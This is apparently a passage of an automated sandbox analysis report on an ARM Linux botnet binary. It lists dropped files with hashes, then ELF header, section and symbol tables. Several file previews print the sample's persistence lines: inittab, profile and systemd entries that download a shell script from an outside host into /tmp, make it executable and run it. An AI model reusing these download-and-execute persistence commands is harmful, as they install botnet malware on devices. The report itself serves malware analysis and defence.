SHA-512:	DA1AFE5BA824659F4227755441275679AD682600494A0ADE902405015E2001DF5936A8A2677BAA770415D8C994FFFC7F91DBB220503A79A3F568E20301E4E50C
Malicious:	false
Reputation:	low
Preview:	::respawn:/tmp/tVdq8lEt3e.elf && wget http://pen.gorillafirewall.su/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

/etc/motd

Download File

Process:	/tmp/tVdq8lEt3e.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	53
Entropy (8bit):	3.871459242626451
Encrypted:	false
SSDEEP:	3:yGKtARxFQFrgBJ4BJ+3e:dQ0EcHG2e
MD5:	2BD9B4BE30579E633FC0191AA93DF486
SHA1:	7D63A9BD9662E86666B27C1B50DB8E7370C624FF
SHA-256:	64DC39F3004DC93C9FC4F1467B4807F2D8E3EB0BFA96B15C19CD8E7D6FA77A1D
SHA-512:	AE6DD7B39191354CF43CF65E517460D7D4C61B8F5C08E33E6CA3C451DC7CAB4DE89F33934C89396B80F1AADE0A4E2571BD5AE8B76EF80B737D4588703D2814D5
Malicious:	false
Reputation:	low
Preview:	gorilla botnet is on the device ur not a cat go away.

/etc/profile

Download File

Process:	/tmp/tVdq8lEt3e.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	114
Entropy (8bit):	4.511624597126292
Encrypted:	false
SSDEEP:	3:TgVH12FDvSDRFbALjWQegRILbaaFOdFXa50:Tg/2xSXbwFCbaaeXC0
MD5:	A1A45F7680395A1DA1288F99B979DD45
SHA1:	16480895D6718686364035E92EE905AAE7AD970E
SHA-256:	4D88F6425D335345E0AD26DD701A87C631F7B5092F426F3A7F03F9B24D1ACDAA
SHA-512:	A019174A1D5C40B94CD5FA63B349602DE099E86E652C5DAA1381B6A382DADAC43CC2E62CB55826EB9EA5806CC54FEB191C12D33B8F0C281CA4183D719FD1415C
Malicious:	true
Reputation:	low
Preview:	/tmp/tVdq8lEt3e.elf &.wget http://pen.gorillafirewall.su/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh &.

/etc/rc.local

Download File

Process:	/tmp/tVdq8lEt3e.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	10
Entropy (8bit):	3.121928094887362
Encrypted:	false
SSDEEP:	3:TKH4vn:hv
MD5:	3E2B31C72181B87149FF995E7202C0E3
SHA1:	BD971BEC88149956458A10FC9C5ECB3EB99DD452
SHA-256:	A8076D3D28D21E02012B20EAF7DBF75409A6277134439025F282E368E3305ABF
SHA-512:	543F39AF1AE7A2382ED869CBD1EE1AC598A88EB4E213CD64487C54B5C37722C6207EE6DB4FA7E2ED53064259A44115C6DA7BBC8C068378BB52A25E7088EEEBD6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: GTWXkCrjA1.elf, Detection: malicious, Browse Filename: jMMTZcFBa8.elf, Detection: malicious, Browse Filename: 7MxrefODr5.elf, Detection: malicious, Browse Filename: pO9NAGXywW.elf, Detection: malicious, Browse Filename: U8JEOF0Yx7.elf, Detection: malicious, Browse Filename: arm5.nn.elf, Detection: malicious, Browse Filename: arm.nn.elf, Detection: malicious, Browse Filename: m68k.nn.elf, Detection: malicious, Browse Filename: mips.nn.elf, Detection: malicious, Browse Filename: arm7.nn.elf, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	#!/bin/sh.

/etc/systemd/system/custom.service

Download File

Process:	/tmp/tVdq8lEt3e.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	312
Entropy (8bit):	4.951805934567628
Encrypted:	false
SSDEEP:	6:z8ifitRZAMzdK+j2s2+GWRd4wm+GWRo3UN2+GWRuLYACGX9LQmWA4Rv:zNitRZAOK+SB+GWRddm+GWRXY+GWRuL6
MD5:	C7AF6A5BC0AA7568A864FD4021801F68
SHA1:	CBE1426410C84CCBB0859B35AFC208DC28814BD7
SHA-256:	93FC20929F1D2B157F44824D5E00725FAD1B95FBCCC5168E52D62AAE8D3D3002
SHA-512:	44665A5F9B49DE526A72956F2DBA52CB7701C8ECB7BACB4314413948020EF4C32F564512497E684B6EC8CE33CEE671E4BE70C9428C9091EC7CA7E9CD316040A2
Malicious:	false
Reputation:	low
Preview:	[Unit].Description=Custom Binary and Payload Service.After=network.target..[Service].ExecStart=/tmp/tVdq8lEt3e.elf.ExecStartPost=/usr/bin/wget -O /tmp/lol.sh http://pen.gorillafirewall.su/.ExecStartPost=/bin/chmod +x /tmp/lol.sh.ExecStartPost=/tmp/lol.sh.Restart=on-failure..[Install].WantedBy=multi-user.target.

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/tmp/qemu-open.eRZguB (deleted)

Download File

Process:	/tmp/tVdq8lEt3e.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.5964813510024203
Encrypted:	false
SSDEEP:	6:M6gDFo2p/VU8VbsDFo2/MxgY/VjmsVot/VOArB/VH:3YH4EbEHEGl
MD5:	F05C405721B00B221C0454106F7EABED
SHA1:	5FD6D12826E7D903F7313FFAE0C4EF42560F1204
SHA-256:	5A7B38A1F1B65429BABA56F2E55FBD1710EA675EC263ED6B4EAED594B63AC39F
SHA-512:	6BC15855A2AA36D4E623AA0E1569D51D9E1EF187997B04F6C5AADAB694EC7E2E18154E7061195FB0F30FB7589DA13CBC93438A76C62AEB2F2391B0B377C51B58
Malicious:	false
Preview:	8000-22000 r-xp 00000000 fd:00 531606 /tmp/tVdq8lEt3e.elf.2a000-2b000 rw-p 0001a000 fd:00 531606 /tmp/tVdq8lEt3e.elf.2b000-2f000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

/tmp/qemu-open.uZ0VNC (deleted)

Download File

Process:	/tmp/tVdq8lEt3e.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.7841837197791888
Encrypted:	false
SSDEEP:	3:TgVH12ln:Tg/2l
MD5:	159766F5049DF690A9DC482D5F155AA7
SHA1:	1EB8475127B3D949D46242163C8062919AB14D43
SHA-256:	432E5D2586E004035D14939B860AE0FC93407083E4679A56B1C3EB6A171EDAB4
SHA-512:	83F63D118DEB614871007C604D55991A3A4FC4E778DC8A096346AAA9127161E7968CD11CA90BEFA203DCF949317B92C044FE0DA55506B1922A346455B5FDD81B
Malicious:	false
Preview:	/tmp/tVdq8lEt3e.elf.

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
Entropy (8bit):	6.017157938862243
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	tVdq8lEt3e.elf
File size:	170'094 bytes
MD5:	c42ba46f2b693cfe8b9ce093e62d5844
SHA1:	f75f1265592f74362a6167061ad33a7627abcdc0
SHA256:	549627b2ba0ef60640456a03a70e46d4c45726443fd9ac4f48bddb8aab625c9b
SHA512:	260c45c9f3b1abf162f52702d5608dc532efc2d0a4d123ec212a1f7f3be512dab7692a6868d732cf64b0d1822489043b8b63716fa2f54a4b05c5d2fa1ef39e0c
SSDEEP:	3072:FfvK8PY8FxaEitYuSBFaxOPhHICpgD7hhanSLjM/96XmRwjq0r4:FfvKDixaEitYuSGxOPaRhaSfM/96XmRh
TLSH:	2BF33C46E6818B13C4D62779BAEF424933239B64D3DB73059928BFB43F8679E0E23505
File Content Preview:	.ELF..............(.........4...........4. ...(........ph...h...h... ... ...............................................................@3..........................................Q.td..................................-...L..................@-.,@...0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	134584
Section Header Size:	40
Number of Section Headers:	29
Header String Table Index:	26

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x80f0	0xf0	0x16e5c	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x1ef4c	0x16f4c	0x10	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x1ef60	0x16f60	0x2df0	0x0	0x2	A	0	0	8
.ARM.extab	PROGBITS	0x21d50	0x19d50	0x18	0x0	0x2	A	0	0	4
.ARM.exidx	ARM_EXIDX	0x21d68	0x19d68	0x120	0x0	0x82	AL	2	0	4
.eh_frame	PROGBITS	0x2a000	0x1a000	0x4	0x0	0x3	WA	0	0	4
.tbss	NOBITS	0x2a004	0x1a004	0x8	0x0	0x403	WAT	0	0	4
.init_array	INIT_ARRAY	0x2a004	0x1a004	0x4	0x0	0x3	WA	0	0	4
.fini_array	FINI_ARRAY	0x2a008	0x1a008	0x4	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x2a00c	0x1a00c	0x4	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x2a010	0x1a010	0xb0	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x2a0c0	0x1a0c0	0x2fc	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x2a3bc	0x1a3bc	0x2f84	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0x1a3bc	0xd72	0x0	0x0		0	0	1
.debug_aranges	PROGBITS	0x0	0x1b130	0x140	0x0	0x0		0	0	8
.debug_pubnames	PROGBITS	0x0	0x1b270	0x213	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x1b483	0x2043	0x0	0x0		0	0	1
.debug_abbrev	PROGBITS	0x0	0x1d4c6	0x6e2	0x0	0x0		0	0	1
.debug_line	PROGBITS	0x0	0x1dba8	0xe76	0x0	0x0		0	0	1
.debug_frame	PROGBITS	0x0	0x1ea20	0x2b8	0x0	0x0		0	0	4
.debug_str	PROGBITS	0x0	0x1ecd8	0x8ca	0x1	0x30	MS	0	0	1
.debug_loc	PROGBITS	0x0	0x1f5a2	0x118f	0x0	0x0		0	0	1
.debug_ranges	PROGBITS	0x0	0x20731	0x558	0x0	0x0		0	0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x20c89	0x16	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x20c9f	0x117	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x21240	0x5980	0x10	0x0		28	831	4
.strtab	STRTAB	0x0	0x26bc0	0x2cae	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x19d68	0x21d68	0x21d68	0x120	0x120	4.4601	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x19e88	0x19e88	6.1818	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x1a000	0x2a000	0x2a000	0x3bc	0x3340	4.5133	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x1a004	0x2a004	0x2a004	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x80d4	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x80f0	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x1ef4c	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x1ef60	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x21d50	0	SECTION	<unknown>	DEFAULT	5
	.symtab	0x21d68	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x2a000	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x2a004	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x2a004	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x2a008	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x2a00c	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x2a010	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x2a0c0	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x2a3bc	0	SECTION	<unknown>	DEFAULT	14
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	15
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	16
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	17
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	18
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	19
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	20
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	21
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	22
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	23
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	24
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	25
$a	.symtab	0x80d4	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x1ef4c	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80e0	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x1ef58	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8134	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8194	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x81d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x82cc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x84e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8554	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x85c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8b88	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x921c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9838	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9ad8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9bf4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa3a8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xaaa0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb14c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb8e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc154	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc4b0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc6dc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc97c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xcbd8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xce30	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd244	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd730	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd8e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xdf64	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xdfb4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe058	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe104	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe1a0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe6dc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe810	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe918	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xed3c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xee34	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf73c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xff50	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xffc0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1002c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x100bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x101f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10d30	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10d60	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10d88	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10dd0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10df4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10e18	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10eac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10fe8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x111d4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11598	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x116ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x116c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11758	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1184c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11884	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x118c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x119c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x119ec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11a00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11ae0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11b18	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11b5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11b9c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11be0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11c64	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11ca4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11d30	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11d70	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11da0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11de0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11ef0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11f24	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11ff4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x120b8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12168	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12250	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x122f8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12318	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1234c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1267c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1269c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12710	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1275c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1278c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x127bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x127f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x128c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12d20	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12da0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12f04	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12f34	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13078	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13844	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x138e4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13928	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13ad8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13b2c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1409c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x141b8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x142d4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14400	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x146b0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14a5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14afc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14b34	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14bf0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14c00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14c10	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14cb0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14cd0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14d30	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14d58	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14d7c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14e48	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14e98	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14f94	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14fac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x150b8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15124	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15148	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x151c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x154bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1560c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x158a8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15950	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15978	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x159bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15a00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15a74	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15ab8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15b00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15b40	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15b84	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15bf4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15c3c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15cc4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15d08	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15d78	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15dc4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15e4c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15e94	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15ed8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15f28	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15f3c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16000	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1606c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16a1c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16b5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16f1c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x173bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x173fc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17524	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1753c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x175e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17698	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17758	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x177fc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1788c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17964	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17a5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17b48	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17b68	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17b84	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17d5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17e20	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17f6c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18590	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x185e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x189ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18a44	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18a8c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18b7c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18cb4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18d0c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18d14	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18d44	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18d9c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18da4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18dd4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18e2c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18e34	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18e64	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18ebc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18ec4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18ef0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18f78	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19054	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19114	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19168	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x191c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x195ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19700	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19c4c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19cd0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19d4c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19d78	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19e00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19e08	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19e14	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19e20	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19e30	0	NOTYPE	<unknown>	DEFAULT	2
